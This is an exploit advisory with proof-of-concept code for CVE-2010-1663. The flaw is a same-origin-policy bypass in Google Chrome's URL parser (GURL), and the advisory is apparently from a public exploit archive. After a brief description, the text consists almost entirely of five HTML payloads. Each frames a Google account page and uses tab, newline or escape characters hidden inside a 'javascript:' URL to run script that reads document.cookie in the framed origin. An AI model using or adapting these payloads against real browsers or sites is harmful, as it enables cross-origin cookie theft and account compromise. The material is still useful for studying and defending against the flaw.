# Google Chrome 4.1.249.1059 Cross Origin Bypass in Google URL (GURL) # # CVE-ID: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1663 # # Author: Jordi Chancel # # Software Link: http://googlechromereleases.blogspot.com/2010/04/stable-update-bug-and-security-fixes.html # # Description: { # The Google URL Parsing Library (aka google-url or GURL) in Google Chrome # before 4.1.249.1064 allows remote attackers to bypass the Same Origin Policy # via CHARACTER TABULATION or others escape characters inside javascript: protocol string. } # # Some PoC : <iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe> <a href="#" value="test" onclick="window.open('javascr\u0009ipt:alert(document.cookie)','test')" >Inject JavaScript</a> ---- <iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe> <a href="#" value="test" onclick="window.open('javascr\x09ipt:alert(document.cookie)','test')" >Inject JavaScript</a> ---- <iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe> <a href="#" value="test" onclick="window.open('javascr\nipt:alert(document.cookie)','test')" >Inject JavaScript</a> ---- <iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe> <a href="#" value="test" onclick="window.open('javascr\ript:alert(document.cookie)','test')" >Inject JavaScript</a> ---- <iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe> <a href="#" value="test" onclick="window.open('javascr\tipt:alert(document.cookie)','test')" >Inject JavaScript</a> Greetz : Xylitol , Eddy Bordi , 599eme Man , Gnouf , CTZ .